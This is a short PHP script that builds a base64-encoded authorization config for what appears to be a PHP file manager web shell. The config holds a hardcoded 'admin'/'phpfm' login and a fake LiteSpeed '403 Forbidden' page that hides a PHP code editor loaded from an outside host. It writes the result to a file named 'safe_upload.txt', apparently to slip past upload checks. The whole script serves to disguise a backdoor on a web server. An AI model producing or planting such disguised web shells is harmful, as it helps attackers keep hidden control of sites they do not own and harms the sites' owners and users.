<?php

$body = <<<HTML
<body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;">
<div style="height:auto; min-height:100%;">
  <textarea id="newcontent" style="display:none;"></textarea>
  <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">
    <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">403</h1>
    <h2 style="margin-top:20px;font-size: 30px;">Forbidden</h2>
    <p>Access to this resource on the server is denied!</p>
  </div>
</div>
<div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;">
<br>Proudly powered by LiteSpeed Web Server
<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p>
</div>
<script type="text/javascript" src="https://www.cdolivet.com/editarea/editarea/edit_area/edit_area_full.js"></script>
<script language="Javascript" type="text/javascript">
editAreaLoader.init({
id: "newcontent",
display: "later",
start_highlight: true,
allow_resize: "both",
allow_toggle: true,
word_wrap: true,
language: "ru",
syntax: "php",
toolbar: "search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help",
syntax_selection_allow: "css,html,js,php,python,xml,c,cpp,sql,basic,pas"
});
</script>
</body>
HTML;

$authorization = [
  "authorize" => "1",
  "login" => "admin",
  "password" => "phpfm",
  "cookie_name" => "fm_user",
  "days_authorization" => "30",
  "script" => $body
];

$encoded = base64_encode(json_encode($authorization, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE));
file_put_contents("safe_upload.txt", $encoded);

echo "Encoded to safe_upload.txt ✅";
